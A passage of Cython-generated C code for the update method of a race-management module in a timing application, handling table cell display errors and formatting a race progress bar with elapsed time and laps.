__Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; /* "Chrono/manageRace.py":188 * print("in update, setLine( color,%d,%d,%s)"%(row, column, text)) * print( color ) * print( e ) # <<<<<<<<<<<<<< * * curtime = int( time())-self.start_time */ __pyx_t_8 = PyTuple_New(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 188, __pyx_L18_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_INCREF(__pyx_v_e); __Pyx_GIVEREF(__pyx_v_e); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_v_e); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_8, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 188, __pyx_L18_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } /* "Chrono/manageRace.py":185 * else: * i.setIcon( QIcon() ) * except Exception as e: # <<<<<<<<<<<<<< * print("in update, setLine( color,%d,%d,%s)"%(row, column, text)) * print( color ) */ /*finally:*/ { /*normal exit:*/{ __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; goto __pyx_L19; } /*exception exit:*/{ __Pyx_PyThreadState_declare __pyx_L18_error:; __pyx_t_14 = 0; __pyx_t_15 = 0; __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_17, &__pyx_t_18, &__pyx_t_19); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_14, &__pyx_t_15, &__pyx_t_16) < 0)) __Pyx_ErrFetch(&__pyx_t_14, &__pyx_t_15, &__pyx_t_16); __Pyx_XGOTREF(__pyx_t_14); __Pyx_XGOTREF(__pyx_t_15); __Pyx_XGOTREF(__pyx_t_16); __Pyx_XGOTREF(__pyx_t_17); __Pyx_XGOTREF(__pyx_t_18); __Pyx_XGOTREF(__pyx_t_19); __pyx_t_9 = __pyx_lineno; __pyx_t_12 = __pyx_clineno; __pyx_t_13 = __pyx_filename; { __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; } __Pyx_PyThreadState_assign if (PY_MAJOR_VERSION >= 3) { __Pyx_XGIVEREF(__pyx_t_17); __Pyx_XGIVEREF(__pyx_t_18); __Pyx_XGIVEREF(__pyx_t_19); __Pyx_ExceptionReset(__pyx_t_17, __pyx_t_18, __pyx_t_19); } __Pyx_XGIVEREF(__pyx_t_14); __Pyx_XGIVEREF(__pyx_t_15); __Pyx_XGIVEREF(__pyx_t_16); __Pyx_ErrRestore(__pyx_t_14, __pyx_t_15, __pyx_t_16); __pyx_t_14 = 0; __pyx_t_15 = 0; __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_lineno = __pyx_t_9; __pyx_clineno = __pyx_t_12; __pyx_filename = __pyx_t_13; goto __pyx_L5_except_error; } __pyx_L19:; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; goto __pyx_L4_exception_handled; } goto __pyx_L5_except_error; __pyx_L5_except_error:; /* "Chrono/manageRace.py":171 * def update(self): * def setLine( color, row, column, text, icon = None): * try: # <<<<<<<<<<<<<< * brush = QBrush(color) * brush.setStyle(Qt.SolidPattern) */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); goto __pyx_L1_error; __pyx_L4_exception_handled:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); __pyx_L10_try_end:; } /* "Chrono/manageRace.py":170 * * def update(self): * def setLine( color, row, column, text, icon = None): # <<<<<<<<<<<<<< * try: * brush = QBrush(color) */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_7); __Pyx_XDECREF(__pyx_t_8); __Pyx_AddTraceback("Chrono.manageRace.manageRace.update.setLine", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_brush); __Pyx_XDECREF(__pyx_v_i); __Pyx_XDECREF(__pyx_v_e); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "Chrono/manageRace.py":169 * * * def update(self): # <<<<<<<<<<<<<< * def setLine( color, row, column, text, icon = None): * try: */ static PyObject *__pyx_pf_6Chrono_10manageRace_10manageRace_8update(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_v_setLine = 0; PyObject *__pyx_v_curtime = NULL; PyObject *__pyx_v_task = NULL; PyObject *__pyx_v_r = NULL; PyObject *__pyx_v_q = NULL; PyObject *__pyx_v_e = NULL; PyObject *__pyx_v_tp = NULL; PyObject *__pyx_v_millis = NULL; PyObject *__pyx_v_type = NULL; PyObject *__pyx_v_l = NULL; PyObject *__pyx_v_tt = NULL; PyObject *__pyx_v_row = NULL; PyObject *__pyx_v_tick = NULL; PyObject *__pyx_v_dur = NULL; PyObject *__pyx_v_i = NULL; PyObject *__pyx_v_val = NULL; PyObject *__pyx_v_txt = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; int __pyx_t_4; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; PyObject *__pyx_t_8 = NULL; PyObject *__pyx_t_9 = NULL; int __pyx_t_10; Py_ssize_t __pyx_t_11; PyObject *(*__pyx_t_12)(PyObject *); int __pyx_t_13; PyObject *__pyx_t_14 = NULL; PyObject *__pyx_t_15 = NULL; PyObject *__pyx_t_16 = NULL; int __pyx_t_17; char const *__pyx_t_18; PyObject *__pyx_t_19 = NULL; PyObject *__pyx_t_20 = NULL; PyObject *__pyx_t_21 = NULL; PyObject *__pyx_t_22 = NULL; PyObject *__pyx_t_23 = NULL; PyObject *__pyx_t_24 = NULL; PyObject *__pyx_t_25 = NULL; PyObject *__pyx_t_26 = NULL; Py_ssize_t __pyx_t_27; PyObject *(*__pyx_t_28)(PyObject *); __Pyx_RefNannySetupContext("update", 0); /* "Chrono/manageRace.py":170 * * def update(self): * def setLine( color, row, column, text, icon = None): # <<<<<<<<<<<<<< * try: * brush = QBrush(color) */ __pyx_t_1 = __Pyx_CyFunction_NewEx(&__pyx_mdef_6Chrono_10manageRace_10manageRace_6update_1setLine, 0, __pyx_n_s_manageRace_update_locals_setLine, NULL, __pyx_n_s_Chrono_manageRace, __pyx_d, ((PyObject *)__pyx_codeobj__25)); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 170, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_CyFunction_SetDefaultsTuple(__pyx_t_1, __pyx_tuple__26); __pyx_v_setLine = __pyx_t_1; __pyx_t_1 = 0; /* "Chrono/manageRace.py":190 * print( e ) * * curtime = int( time())-self.start_time # <<<<<<<<<<<<<< * if self._status == self.cmdStart: * Globals.MainWindow.PB_TimeRace.setFormat( */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_time); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 190, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_start_time); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = PyNumber_Subtract(__pyx_t_2, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_v_curtime = __pyx_t_3; __pyx_t_3 = 0; /* "Chrono/manageRace.py":191 * * curtime = int( time())-self.start_time * if self._status == self.cmdStart: # <<<<<<<<<<<<<< * Globals.MainWindow.PB_TimeRace.setFormat( * "%s / %s - %%p%%"%( createTimeSeconds( curtime ), createTimeSeconds(self._duration) ) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_status_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmdStart); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyObject_RichCompare(__pyx_t_3, __pyx_t_1, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_4) { /* "Chrono/manageRace.py":192 * curtime = int( time())-self.start_time * if self._status == self.cmdStart: * Globals.MainWindow.PB_TimeRace.setFormat( # <<<<<<<<<<<<<< * "%s / %s - %%p%%"%( createTimeSeconds( curtime ), createTimeSeconds(self._duration) ) * ) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 192, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 192, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_PB_TimeRace); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 192, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setFormat); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 192, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":193 * if self._status == self.cmdStart: * Globals.MainWindow.PB_TimeRace.setFormat( * "%s / %s - %%p%%"%( createTimeSeconds( curtime ), createTimeSeconds(self._duration) ) # <<<<<<<<<<<<<< * ) * elif self._status == self.cmdEndTime: */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_createTimeSeconds); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_6) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_v_curtime); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_curtime}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_curtime}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_INCREF(__pyx_v_curtime); __Pyx_GIVEREF(__pyx_v_curtime); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_v_curtime); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_createTimeSeconds); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_duration_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_8 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) { __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_8)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_8); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_8) { __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_5); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_6}; __pyx_t_5 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_6}; __pyx_t_5 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_8); __pyx_t_8 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_9, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = PyTuple_New(2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_1); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_7, 1, __pyx_t_5); __pyx_t_1 = 0; __pyx_t_5 = 0; __pyx_t_5 = PyUnicode_Format(__pyx_kp_u_s_s_p, __pyx_t_7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_7) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 192, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_5}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 192, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_5}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 192, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 192, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_1, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 192, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":191 * * curtime = int( time())-self.start_time * if self._status == self.cmdStart: # <<<<<<<<<<<<<< * Globals.MainWindow.PB_TimeRace.setFormat( * "%s / %s - %%p%%"%( createTimeSeconds( curtime ), createTimeSeconds(self._duration) ) */ goto __pyx_L3; } /* "Chrono/manageRace.py":195 * "%s / %s - %%p%%"%( createTimeSeconds( curtime ), createTimeSeconds(self._duration) ) * ) * elif self._status == self.cmdEndTime: # <<<<<<<<<<<<<< * Globals.MainWindow.PB_TimeRace.setFormat( * "Time finished: %s, Laps %d/%d - %%p%%"%( createTimeSeconds( curtime ), self.remain_lap, self._laps ) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_status_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmdEndTime); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = PyObject_RichCompare(__pyx_t_2, __pyx_t_3, Py_EQ); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_4) { /* "Chrono/manageRace.py":196 * ) * elif self._status == self.cmdEndTime: * Globals.MainWindow.PB_TimeRace.setFormat( # <<<<<<<<<<<<<< * "Time finished: %s, Laps %d/%d - %%p%%"%( createTimeSeconds( curtime ), self.remain_lap, self._laps ) * ) */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_PB_TimeRace); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setFormat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":197 * elif self._status == self.cmdEndTime: * Globals.MainWindow.PB_TimeRace.setFormat( * "Time finished: %s, Laps %d/%d - %%p%%"%( createTimeSeconds( curtime ), self.remain_lap, self._laps ) # <<<<<<<<<<<<<< * ) * elif self._status == self.cmdFinish: */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_createTimeSeconds); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_7) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_v_curtime); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_v_curtime}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_v_curtime}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_INCREF(__pyx_v_curtime); __Pyx_GIVEREF(__pyx_v_curtime); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_v_curtime); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_9, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_remain_lap); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_laps_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_7 = PyTuple_New(3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_7, 1, __pyx_t_5); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_7, 2, __pyx_t_9); __pyx_t_3 = 0; __pyx_t_5 = 0; __pyx_t_9 = 0; __pyx_t_9 = PyUnicode_Format(__pyx_kp_u_Time_finished_s_Laps_d_d_p, __pyx_t_7); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); 